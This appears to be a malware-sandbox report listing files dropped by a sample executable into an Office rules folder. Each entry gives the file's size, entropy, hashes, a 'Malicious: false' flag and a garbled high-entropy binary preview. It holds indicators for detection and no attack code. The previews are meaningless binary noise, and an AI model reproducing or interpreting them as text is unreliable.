Preview:	<?xml.G[`bU>.d......\.{.L',.-.%.C.....=./... ..,..9O.q'._..hU<...5.4ZS.z....'..fO.K(..D.I..z......7;.E2.d#F.&..`u..`.n....}U;...Qq.+{:bg..?m.E....f......VF..).......9\|.lJ..f..qj...6.G...h.z....T........yv....A.@..{...W.\|.<...N...sm!Ai. #.M.'i .Piw...%.../.o..e4.F....K...t./.s.\)..#J....".&;.@?.[)_+.!...i...$O.N......yP.D/I..ap.=,..aY!a.....A...%.U.n..qh..w...:y.a.0 ..dv...O.....B..c.~....C....d.G}.r.b9.ZL...-.!.a._G.M`g....&.....$.a.y.#..]#.LM.,...1.@.f.......'N..$...X.?.:..5.8..9W.x..0.H..5....3=..v.5W.ZWlP...3..V.~.V:(..z.F#8..."&m].._.....@L.}q8.>^!......n....F...I3.(..R.......`Oua.b..)9.~.M..k.I^R!...8....ER2%'e.a*..Z.yG.F4.j.x{]..u...\]..S..Ed...#...J...5.....S.[...+FX{....w..h.c.....M.....]...j/U.....]....90...&...Fs...3....y.ayj..?..T....~.g#u......g?.,..b4.e+.9e.W....Y/X..A.6..u3..n.V.O..m.>......o...D.a....Z.....nb...t....j.N.e......[.......w...!9r..T.s.....J...KL@X.-.].......\|....n.p.K..0^:.2.....$.6..~Z..G.%.G...B#..CFCk....1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.739177785126268
Encrypted:	false
SSDEEP:	12:ZH6gd1S/5xrYm1Ev2eYW0mgoXwnWcl6jG0X7gl7Ood9NGi5C6JUIADo1Doxg/u0T:51dIvrYmOv2ygQXm57RADeDoW/DbD
MD5:	13B9EAB0A667AC405E1F88A3FB5408E7
SHA1:	84D83E4C26E22E02C3B1A11D4460891BB441D23F
SHA-256:	6F09041B1BBBD2BEEE90522AD1398AB0521480C0256FC1566E208EC6782CF3DC
SHA-512:	A891FB1E22A2FC8CB2D413F035C97F9A03986EF31E615B2FB38DD322BD47E5302E224063E5B963289415D2D3AE9F049C5245003CE5CFF544DF7E6AD1ECF7DC4B
Malicious:	false
Preview:	<?xml.FY..o'E.K.cp...#-..?.G....0u1..&x5.1..N.....^....DjLe..j.^.lv...4.x!....s..[.HU"/>K..E.I..T.....>.....^...GB...2s......R..5.....0).....=.@.nZ.i....s.X0...?.J7.GL.3`....G./2;.$%...S..........N.OH#..........&.#s.;.h.j.b1..jr...I..^..o...O.J....Cm......@..-n.A+..... ...:....#.\|y....!!.G...R..t....2..PX.......F.w-..........X...-..\....)C.sxU..P[.._W..[..CB.W\.P....R.e>A.C....=..8.1.z.....O.+...%...T.r.h..c..#...@+..c..H.........:a0{...sh].b....9....l.<.o+.:...g.....7_.}..P....'.....!).....X..je.HP....-R].x.U..........P.r..?A..q...hrgO...A=...Gc~.....\|..R.0Y.<6.`.....w...~.gcF.C...i._.$.,.....:.....j..A..X.m...[4.......@..........M..P.Z.c`..3D.zl.xn..YK.C..1s.u[...H...6..n.GC...O.3o.wH..R...uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.800012420219133
Encrypted:	false
SSDEEP:	24:O1q/wiRayiLsaB0cegUyFAbescyOfiBSOrFnfDOiDbD:ZJs1xegUnqL0jrNDOsD
MD5:	F730A899ABE54D72B682F1FD8212CE4F
SHA1:	06FAB6FAE6EAEF9D98B5541BC4300334EB7D6919
SHA-256:	A24DDC43815266E92E0FCAFC3120A9F27974095C673FF23C539C38B9E47CB9DC
SHA-512:	0114B1C49E70368D527E616971511B16BD009F1E8ACBF59202113E11636962788E351B41566C642AA4AA9398F5CECC1E585821FF35A3948D64E66548B9A98650
Malicious:	false
Preview:	<?xml....../F.Q.O....A...o.^?....-..b...e...<b@{.....V..11.....u...L.?.Y...i..s.]....M..pErOs.W%"y.../D... ..J..l..u.+..n.....sM....9.x.}.....Y..E.)s^......D.....".}...k..D4Q.igX..f..2.#.;,.`.d.<0...&..k.7.......u.@Xt\25...]....M...LK..$....A.IwN.V.&..q.C>..CJ......\|.h....$}.........x.{.'...T... .2.G.b.:........~o~p.....B..<....9..J`I\|.r.....St%@.E...-....2.\Y.1T.......p...Xv.[.oM...-.w;....n..t.....s..W3Sc....&..."Vr)..o..P...VN0.5;..A....KOu..........;.y.o.jEDaW.2...<tHv...ZJ.7....R.=%Rn.c..O.G.]......adC.Kr..\|AU...S.]R...D..f...oJ.=e.GI......>h5...R&x.8.f..8;..._T...O..."...O.}..eD.x..d..t..0=.j.Z....T..7..J....T...[j.....(..)..S.\|.._qT{....(OSE..M.j....W&....XH...Sa..Knfb.....w(T.....#..g.8m..g......h....6..x+....>JU..]$...Ul...=.Y@i$..,.^.....R.._q#.........>...F...@.^......L.3.....T..xz.+bk.{..z. j..:7........{.6.%\..WB.c\....S^.:.j=.~.du}*.A=8.N1A...%.Ro.xI.4.f@. ...(..e\|.....;%.&.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.84638878060075
Encrypted:	false
SSDEEP:	24:j9BxvkBS9xGYnEaQ9NvnmPcY4PPVQ57Rd5zpkvPM74j1ZDrABRqPMKmbD:jdvkBKxW99NvmPFca5Vd5zgHXQ8PL0D
MD5:	4113B70A1D3734D48481BAE038E96FCE
SHA1:	F143E9B85E852FD0857561B981CDCEB52041F9B5
SHA-256:	A60EB1509B2B2428ECBD4C467A0C76D2AD4348E3139E09D576E4DD9AF840738D
SHA-512:	A4E0CA665E82037671A93C64E67964A3E3071FE04186FE81B2E830792786893A21F8ADC9F83D8E08A229512028B2855AACBF34A833659BEC1E4B08DEFDB024E9
Malicious:	false
Preview:	<?xml....e...2...b"?...%...fJ-...?i.Zf...P...1.PEyu.%.........S.V..=_..T_.X....R@)?..........(..I.....M..]...N..f>^....FV.N.Ro...q...}t...(U...UH@....d&.y....L.~.+...G.du.......\|.+K....4.#...........8K!......Fc\|5..[.c.....qh.G.P.O.L..61...z.t.8^1.4". \|P.....v{...ic._$..[%r.In...:......\..%5...7.~\|M.5_....}.....@.~.M(.:.`.U#..W.?..3zR-;.9..1..[zk<.n.3...m?..K/...b".jT..;..T.........S.[p.........R...E...Q....(b..}b.%.W.9..(.4B...c.&}..d..q.A.d.I.B.dNlW..T...'..M..U...jgoN]0 w9BU. ..)..@...3....]K...........N....D^w..~.....D..s82.fF...H.E...v=.w..s)`.~E.....'....:..g..}...#$p.....4s-[.W..d4..I..swx.Y3....j...Z........#...Y....H.L...n...o.!.....~ ...A7..._..... <...Yy....~.on.I... ..1^.!....,.E.....tY=3K.\|.+.E..r.......hzqm.,6.l...U$Wq...........^........'....`]Q;..x2L7/........I@...T.H.&R%].......%.JoS~....F..l....4........Sa.a.y..hBq....0...'...........\,*r5 ..f..0h"..U........r..X.eF4..4..O.O.c.....".....}..R......!..a.. r9.W.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.856312051370181
Encrypted:	false
SSDEEP:	24:UbPZBqH0aqJGlyF9YhSa9hyKL1bpofDEA3Ms3IQJluKEuDmNFn6JS+tTKy/cuO06:WqrqJGc8aDdr3I3paEYS8Ky/9XOyGD
MD5:	1DF50C523DE145E1677714E34DA63E05
SHA1:	6CC6AD3C61C1B07AD17B9ABFEF9587C91364DC45
SHA-256:	0FA3CD1106043CA30678937BC4F4CF9D3A32062C4C9EE2BA8E71B5EE01F43614
SHA-512:	3AEFAE5AE6A9212971C07F038F8CD58F2D661E04180B625409A51A43FDC677713255EBDBF8B6AE37CEDFB5CF247F841E1427C58EF0F7AE6551158F505BF0F55A
Malicious:	false
Preview:	.<?....Y.G.-.@...j.u..I...D.~.7.b .;...b .."..v.I.1.T.`.T...P...9..T.:N.p.p..{...m...(.-':........a<..Vx ...k..=.<L.._..e..vN3).Q..c!$...D.#.....c....J^e...b7^.2.7.a....... M'E.M..,......<.ds.f..)R\an3.7..b....J0O.V........S..'..........A.:}.U..>....kF..B...C]...P...o.O.2.!.c..Qs.p.9..0[X....E.3#..Ne)$#lY............1N..}"....V6.<..x.mY.+..SW....r..=.......".na.C..-.v..S0........56..X\......-)0.0-C0..b.).?UR..s..b7%...(_..\|..Oe4..B.Q..J~.x...N.....9[..}...V.I='N2....8>n5.....d\|.m.C...>.u\NG..3.....V..}6.V.3.U7G....l..+v.t.Po.l.JB....E...U.....B/....Bb.Hn....fYENb.9...\.1...).y.E.w.......sx.yxJ..#..%.K......Q....]..@/uDcm.,5}.."?.^-A...+}.n.7...)..n.kC../....G?A...Cg\../<.sC..Y.........n..eNEU..B.+e.79.~Y.<>.S`p\.....YJ.Lw..n.n.R7......0...h_4.$$k.s...TF....0..y..^".Xd...`....!...y..>..Fd.2KF..I..k.. T......a.bI....-.Iwsw..W..}.P..........Rzi.h..^..hg.U.L...w.z2.c...kAF.N....q}.9.jeHnq.}...g.......~T....... ....8..qEr....x.'...x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.798317788163305
Encrypted:	false
SSDEEP:	12:3vPpJMG/pO+dNE3ti8yK4RPwC9/jzxrilENbgForj8N3rkW2+DNtbIp7Q9pAW2ST:JJ/jaOKmZLzxrfNVrYNbkWjAeAWTDbD
MD5:	1AB7BA05211B16719E6C1D38246A333C
SHA1:	38F6B22491899E1BBB6F097CB7F554CD55D90D6D
SHA-256:	4E59CC6ACA4DDA758090D7363830DA2A6A7F7CA565C11C682A9B5345B830D1D6
SHA-512:	303C5AD06BAABB9A0345587E5EAB298CD0732C335C95E83854C306AD03F075E535327DEAEB28CD553D8EFB7120B7867E4EC1E62F1326EF6288D1D97F1FBDC3C8
Malicious:	false
Preview:	.<?...B.usG~.....T..A Xi..^T...).....[...@h..4......@L<.....\-[\|.!{.i..r.<.5...B........y.W.X.oCP)u=UP..f......z.c....... .......4....R.%X..t.:....,^.VA.S.....E.E.D<B..k...2......o..H../m.O...b...k..B.g. .tZ.........!....j...g.z.......I..2.)..6n.<.`AD.e....".#......^....N..U&..Z._.c...o...V..Nm.....................J..C....P>.....7..+.J....D..n d.......&...t..g.my2r.A}J....h\...........0M...!L.v.$....b.L.@.!o.........[L...-....9)...\....3.R...>-jQ.S..;].g.....P..z%..r.P$....>...ER...K.Et2..j.`mo.......?nB....,L............\|..5:Bwj..6x<A7...l.....f/.H.a}......U.....h"..+"wV...........!.Q]\|qm.........$....{...s..2Z.Pz..%...%Z=([.C}{...w......#...8P.M...#..._j..-j......R..@.]a...4..a.\3.g.".[.....(.0....o_.7EH...E6.......$.....Z.{......Y.....C......T.....aX>bS.Q.....u...yt.....NZL=.c.?.9......n.........+..0'.&'..;v3..r...O2.+Ih.....T:..a.~....v....q.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.956822032595129
Encrypted:	false
SSDEEP:	96:QniV1Hu4q982jxbk0NFA50VLwRk7h2nxMwWTzTG:QCBu4wj1AQvmxMT/TG
MD5:	6897020B8459E4B6CE5B7BF0738EB1A0
SHA1:	F36EDA5AE3CB4711F0B2CD79339309AE21CA0FEC
SHA-256:	1DEFD712AE31EED8B12909393796D0687BA88D772EDD7C15664D47083069860E
SHA-512:	6B4FA6CDB6EDB4E6203DBE61420C449FDEF1095696EC541B5024EF2A4ACE7541CCC76D629981B8BC3326090BDB0EDBBE16DD6038355645860504AB90647A7E39
Malicious:	false
Preview:	<?xml..0w. 3........!l.G...._..Z1.8..v.R0u.$...q...y....S1...4.....FDp.....(Y..p$7.D...1;v.6.'.....<....oF......go"....7.....M....%A...."=....`.!.`...q$....\|;..ZD.S.zZ...O.)....X..... .R..R.Rjp.X.....9....\...Q...XU.js$..2.[...0...X."..V$.(.S>.m.c?......7%.s.&.......v..;W.s........$W.wB.6..E..F..:...]...dC.d..vD\|.'51r...d4..t..P~.Q..p..c...@..!eFSPE.............]....Z.^...3.[KO..H..0.z.Xh.z...j.....*.x.......f...!...GJ..R:p..o.D..z.x..s"......C..^...g'.3.\|./..c..4........>'.....z$.._.Q.....n.0@.0b.GU....8......#1.....f.....lCz.O.+..P..F.}.Q..W[kM..3#........,.?.....hK...HRVx..3I.N.......8...j...9..\%(....1/:i../r..B...F.-.....m.cV./..-.l.:.q.7..d.\...;....g...f-.bU.......xp\|.>.b.]......U^...^=.......l.1{{-r..?..."rR.......J.,..q....o.....C..\E.....7\|+B.T..m.-\|.d.f.mt.%.9.>..v...Dhl..Nl.^..J..0g.....Y[.,.N" Boe..i.9C:.&I.r...#.5u..@\.b.........^...d.k+...T.(70%>.J.J.k.i.+.fJ..q.@A...C...Pg..2_.1....].....a..6.5..1x.=V.l.W..Lmv....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.937323645103634
Encrypted:	false
SSDEEP:	48:ivYwR4ijBmkbs+CjNMBFx6qsvN6th9xuXGAlA9/yXuKAfdpu0TW2HgJD:iv4ia+CjNwFYx16t7xI+dHK2zA
MD5:	C0DD30AE117D68FFC6334C6D0B0C8CB7
SHA1:	7B392911F1BBE3774BC192C9E3BB5E67A60848A4
SHA-256:	5EC1F311598BA5A321EB5F00974C7BB80131C780E03F07A8C6115F67E5E701E6
SHA-512:	C8D03D8F70E478D9AEFB10F8E73F39EE2415894C608F8CF0F45780F2ED4BF92B24B8CC6782EFD6D1432590FC6CC2583818F9B66DC51D546584F50AAB6FB1B210
Malicious:	false
Preview:	<?xml....[C.I.. ....(..}.y...=..nc...V%.A...p....-..O'......AQ.j=.._....2..(.M` .b.2.6gS8u.H..u....iS...ut..2...4..3...l..Nv..P{._....."l49F'....XHs[..a.(..6...T9.i...]H..+...z4..m..'.TCq.!..L8!..W.r:H..bU.....T.x.N7......rB...#.k.......xw....s.ace..<_.#2.....^.CX........X..O....Ic....Kw....N[.I.v.....4.Qc.f.wh.-p..;....w4n.`..x.F].Z+fl.'F.O....Z+...x...y..u.{2~j.T..>0...D..B.....EV..qcS..vJ..E...Q.....c..r..%.-...,{{...?...}.e4....w.M)..T2{..p..'...SR.f.Ve.....6J.sC.LV\|.c,.9.Y..X.o..]...!.Ryw......t............m5.....f....,.......ST$S.y.!f..O...".Z3....(yY4c.....n.\.A_.-...K.F.]..(Y...n..p'..P....6.=A.N.J...8.X]u..K#.......^Z..S./f....]\|=#B.w....:.q.....ylX..^...KQ.3.?.0.ee.s...4......Ye...*"q...Vk....h....1...i.I...[Q.E`.M...........f.w....R...._[.1..X....^..Vx..k.=.z.c./?....j.p.e ......<8.:..%..5.f......N?......Y...$..(.....=Q..W...,}..........X<a7.Q.]..3q.1.z5........l...NjsS..=.9....5Q.{.!;..wq..K.j.P.]J.0.OK....X..F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.949081018157424
Encrypted:	false
SSDEEP:	96:boqrcyNW5sAXTUweY6zmjdxzcj7n2N9o88UUG8mpu2V:bowcMksADUwePmzk2sUxn
MD5:	43F9CC26EB19538896643D5783C5BC25
SHA1:	5D7FB7DC01AFD20FABBEA9C9C1CABC0316FCE8A4
SHA-256:	A406F9FB23539744875C2BB8ACAFEED1022C33A349AE096F78EC0DBCE9A4E194
SHA-512:	BA2656D4E6E8DFDC6D1D8462B662FA15D13DA495D0C54423055C6A80F4090894EFF80BC6AD53BBE3F744C493CE1FEE569943EDFF7C65EF6EFBCD3E61B6D74D09
Malicious:	false
Preview:	.<?..........j..x..C:..DfRws.."...Z[M`.4.A.u?..U<....5./.Ipq.`.....=...B0.C.j......D.."_+....E=....;....bxU\|.LZ..n......%_.Rh......b..Qvw&`6...\|c.....K..J,..y.\..=..@.....-u.c....;.......8jZ...\0.y.....}(.g.Fz...Y6..2..'Z.....P.N....u}&@.n..Cp.L...-..S..<e.vi.d."I....Jv.l.R;U..E..0.{..@..J..n..d...y.....1~o\|x...z l.y.2..pX...L_w.:.s.o.oVT-..........C..R........e..P....&Kyg.&.>gu..<.F...!SH]^C%.dP6N..2..4K.>'.........6.(."./....M.......ORL..h..._E.cyD..c.,..z..j..wLd!U[..".../.w.C....&..\s..8.........P?ff.....<..>...X.........W#........+.....pQ...\|.G...U.l..z..=+8.w.a..<.vO.~.w.}.1'T...-%...vq........0.f1..Q...:..O8...!o./~......?.{Z....^P.S...2.1]BK9G0..`.bny.fHzX=.../.k.............y..Y.`./<:.b.8.."...6s....?.....BB./."...}.LwL..ZA..z.._. ......+k....\|...fg?.^.pA7Da...i.3.S..?.~..W.G.jbn...$B`.;.`.7........U...:..)S.....&-....qs.Z.~.s.{Xv..._'D.c.....7.`D@.\..h.o.C.Q.C.=..fT......9T\|.v.3.n..6.*..?.o.~o.(.....V....S.l]..4\|......FZ.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.944748161700263
Encrypted:	false
SSDEEP:	96:KOyl6RBLMVnNq8gmwnCRT4SanpcICJ9YpMaUeXBvjUEtkMH:KOV/ckf7c8nCPqMReXZztkMH
MD5:	0AD2156AD2A87803D11DE2C12600596C
SHA1:	92940ADF09E9DC6B8114860C4B1B940E0D52D19D
SHA-256:	996FB0EB69BCB20C0BE443AA069C75815EA0F789149359F713F4134581D62F71
SHA-512:	0E88297D2FBF4DE5A3B36DA727BF738A4579C4342D9D357218351E1AF896E7934BB53303BA454A94C9D6DF7C0816A83A70C1D3C370912D56BBBF735486B18C28
Malicious:	false
Preview:	.<?k&.J.w..t.-.....!..G..!.{..Zl.Q(..w-...:.}P.q...`....p..q...?=..r..DS...eL..]..y}..q....X. ..I.!Zx...l.^.3.. ~O...l..:.n5..1.$......P...t..{..A.....\Z-.\.z..bw.+......:..c.......6...E....8..=.G&..+.(...K. ;...K4...Y...?u..K.;.8..!.7...6.\e(.........-......T.`...=..L.CBJ2A$.]._.`O.pI!..lE^........a.&..@03..a..q.=...A...O.?m...r@U...N&.hH9...yE..X.u.e#[e....v.\.~..Z&"'..\...H.A!..-.7.J.]..c....B.p..../.];.yO..O..~p;.1.K...C.9d'u..%....E..`...1#l...W\|R...MSEN.23..{.. .6'.7....\...].$ .Z..Rc..W.~.......6.y.........W{'...%3&Py?b.}D..K..dt..\|..[.'..D..u..dX.+u..9O.Ab4D.U......Z.u@R>.5.d\I..#j.4Y..........MRe.Xz.._&.....:.4...La..1..m..xf"~7.L. ...P.H9.........4{."....[..+..r..]..=l.b,,%..".....)`.......@.[..H.Dr..8;......o..m.Q...4..\|I....\|hd.x.oh...\|2..\...n.+K..\|...L.....>1..\..@..1j"2...0?.T.\| O.8,p..&........C'&.E.(...ax..FG..bo`.{.iT0.g.%;.>..NqUY.>.$.....n.W.B.vL.....^.u.K.X.\|.\|..h_...f............U....i.....}...2;.I..29..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.947368773760165
Encrypted:	false
SSDEEP:	96:TN2tLU5GPRfiAaXkSdytDF5ts3yVraQo1T07:TN2g0RfiASkuCwJd07
MD5:	1EA6B4EE8F4D4FB81784B3B2540B63B1
SHA1:	D91E93695F6870B062B63542DF7F9AC2D617C723
SHA-256:	9296AE2D0481A7ECB426E22CD5E0790AE8046D0FA8C667DD04AB3C0F8B1943F1
SHA-512:	CEEAC332ADA53636C034467A66016A09559E2906A27E018DBC6886D005ECB8E9461DEB0AA3B0B6E2DA169F6AD67145F3B43332F9E081FF70340E46E4216822E2
Malicious:	false
Preview:	.<?...G.sS.e..{..... ..V")mT..x...CaK.......}f$.$..d.l \.w..`..].....!.S.....p$.,Wn..H.^".....So.....}.@...~..1..w.oj%P..w,4....kuy.........uz>..1.$.t'h...._....`6.&......A..c......".0..#.v.Q[.~H.2...z.SU...............t................,k.A....>..Oa..VS.L`.w...Tyr.MG!.k^..B.V.....&......d.UD..u...9..'..$.@...M."..Y.....:`.%.;..)I......dE.oA_...6._...{.a..5....[.lln.?l-.a.'..xG.47@T.v...>W....r....(../..:.......'...<.....o)..e.2O...b...1...d.^..\|Z........c.s.K.:..M8Gm=.&.m_...n......7W.6.i.1`.6\|wC.!.<{.0...@.g?...lkF<..0>...-F...d..\....O..ucNbU.ZS.Z\.........O.....\|.h..^...\.w...E...T @{....S....'%....q.4YZ.W.4.Xi...O5..v.5KQ.&..h{....rdgbN<...T.I[..=V...$.c...o.y.d../t.....i......}.<x.....ld(...'....0......pu..JT..h...;n...}$+h..+{.A+..8)...E.v.p...3.......S..{..9.?...y2..N.v..-j^..q.n..^[....E5%.r...i.a...Q?GW..d....l.. A..yW....[..C_.R*.-....qt.[..l\.n.w...^Y......I./..._]&...j...h.nJ..R.3.......z...F..Q.4.eu..N..>...[f.^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.929536124920602
Encrypted:	false
SSDEEP:	48:SlXrZS8fGt4QCa6P4Z7uLAKl86OewM0D0qH1Q6uYdx42KJuYXIRPMPiSC5JHSIwY:SlbZSWQCa6P4wL5Oe10DPHuY0XIRPMTa
MD5:	BFA7AA4C61271822015DCEE7400010AE
SHA1:	4F21242F5D636B2695909EFCBCE0AB8EB495BDEB
SHA-256:	22CCC1227A2BDA21BA91304A5595CA980497A67E09C762B8D250312DB3A85473
SHA-512:	1A170AB30500C26264D6378746B4D30C195DFA9E0F5F615D6D74D0D513579BFAAF77DF5EF2470F0B99A72C09BF2225461F1FB37ECF29348D96FA29501177A1EF
Malicious:	false
Preview:	.<?m...."..7oA...ZH.<..{...iA.G....N...'EO.....%P\.+........!Fs..e.l.X.&....r.s..$.w.SU\.y.K. W.b.A.y.w..'\|....B,[2/.T.d.D.6..4.A;....?..G.....+(w..z..Z..d..?...:l:\|..?.$..y#..p.D...th....P54+.....v.].....b...B.4..Y..?M../....}.5.K.......c.U.oc.g......s...1.\...G..r.t.}.~".`.$E.........\'..vjlr:....K.....],.;N....2..].f....Nf.+..A.O....`._..............i.eS.2T...B..Y....[........?.\|G`<...&.k.....T.{.B....CE.Uu..?........I....T].\....te.........f..H\..3..s.x...'.aS....u3UKw....gA.i...):.j..q..F/......'d.U.6.`...e^8gg.0........B....x...7.....P'..`...H..f\|...}....R....E...g.i.r.J.d.....K...,-q..#I../..Sd.\...h.....9>r9......s%O._.n..q.:..,....BR.X.T...BvA.O..QN_....^......N=*..8 .y\|_.xr..N.^.B..`.5p.....p.s......(..1...v[+._0G..4 .@X..w....p..M..].P..:....._$.{.S../U@.....J.i.+9...iq...Kei.....GQ].c....s..h.X..\_.Q..bN.}......I.4'H.....d..&..kj."........!#B..Q...G.k.0.^W.o..-E>Iz..~gG..K.;.iu.@...&. .#.0.@..m.?..E...Q..:j>E.u......T.p..._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.923840822837748
Encrypted:	false
SSDEEP:	48:J5uE2o8fsDhhT6i/8x1mdUtlZmRFvMIq1b+TiG62EI1Oxp9SO/3CD:aE/isDDT6i0x1mdUzwZ2c6EOxp99C
MD5:	431505C483F6020DFB4AC10C75288E5D
SHA1:	FBA62451FF23B877DA04F2BE23814B048E93D2A5
SHA-256:	86858CEF04034F9C6A3DD0621919A62A735FC0AF3AAF037B08A2739B732C958C
SHA-512:	E09AA1A7F4CEBF33F3049C5B213B4406BFD45AEB5415424566CE8BEFADBA8C6971DE9A8CAA8205357D6C0F87F5090BE87E928B2A478EED65F584311F84027086
Malicious:	false
Preview:	.<?^fU..,B.n.8.........-m.....-.T.{+.n..G..pr.;..'p].6Rc$SF=."g.K;0.fn..}.;....\|tc....Z......[i.T%..^..G..)7..^.W.,..K..N....iH.P.3....x......}....`$=T.f...y..6..=....aMFe%mh...<......{r.......dRgUZ.."`4[......t\|....._..!Q.-.....XB`....X.B.....V...Xk.^..'.&.&q..<.w.3jy>.RS.\H..%......wr[U4.q.i.N\]T....Yx..]....+....5..C.s.......eSU..\............ $s..fV...?X.)..U:..,.....W......%.........X...........V..M....%..3.........[........;t7..(.4m.^/.........<.a3.Z.Q...._p..~..lb..R.ns%.....=...t.}O[.</...s'....b_.M4.T.%...;.<J...PX.#Za.Q.&AV..m.4......;....a..\.._...^..."+.L..z...\|.c.w..2..\j`.....m.....R..w..k.?!PPl.v.)6..g..&...x..cl...5.-$...D.)._.L....r......;.../=f'!z....~.V).f..<..M.W...(.U..}0.K...gq..@.G...V#...g8.Vy^u.D...wb7..k.S!.#........!..E..@$p....W...\........{Q._.......e..^.3..e.'l....oJ.d....:..6....}..i....d.p....HYN.&..6..U.E.k...>..}/.$.s....#PJ..u...h.}.W:>a..."..Yo)......<.9.>...9....+.V..*u....%.{..R.$..v".W....H-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.653175382322567
Encrypted:	false
SSDEEP:	12:zpvYbIp2B6I0JMjjjORoI28mIoRLXZI6y1+cii9a:zRVYEnujjjOhT/oR7rbD
MD5:	BA63CF4AE74DF9F6F54E852F9F35B75E
SHA1:	B52FAD29748EBF0F1C31E027C6133B725EEA8C12
SHA-256:	BE8BC04C7D74328271F2C91441D8014289B444B08C6D950D20677213DE3205FF
SHA-512:	BE28F11E2D1A0EC2B3A9D8B80AB2CD333EE1A28C7A24FFD21C1B8B8234EB0421BD272217FC8A56DABC16530C8DCF9F58C150882183C8A4D9F707BE5FD0EFCE74
Malicious:	false
Preview:	.<?.=..^./..:"...Y.......H?.nou..x8.lq.......C.....yn.sR....a..W.%.....j.YR.}\|.Zbi..+#....G.........[..z)"..p...^...{.q...:-....C9...9 ..3..........l2A...F9u.....h.;.6.vF..M...1V.U..V.a.e.....:...U.+Y_s.+.&...{....U......\u_d"...hi.CM..uLby.J...i.v..V..t.W(38.D....M..@...$....L%m.l.#..3}....mR...S.9..H ..."k.....Y<r..N....@-.f.\|..(...o\|..m./RS{.^.FF9. ......7.=..#..$.....O.T....PwBD..yK......M.w...??l...\|?.9.z].d.1....a"..5.?o)..&cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.916753317015296
Encrypted:	false
SSDEEP:	48:mbuwDCHIUXLm6Z2xAeN/QgWwc25beG9O1WWN3AN/CDK1F1nLdoI6M4D1xPID:mSwDQIUXi1xT/Qg6bdb3AcWv4D1W
MD5:	605FFFCB933C518D0E7342B4D8A57B71
SHA1:	36F398FE6D1C4011DA454AB4BAD6D3488066D9A8
SHA-256:	F1A1F3CF19563D670539E4DF64C125635DEBEB15AF7CFC2B770ADF6E43F9A907
SHA-512:	11856A2ED512241888515AC6DC19B2239B5F3CCD196A1171ECD905D0F6DB275D64457DB33E4EE0DFC90027203D30674F3F0BF1E073A875E544C4C3C6B3ADB972
Malicious:	false
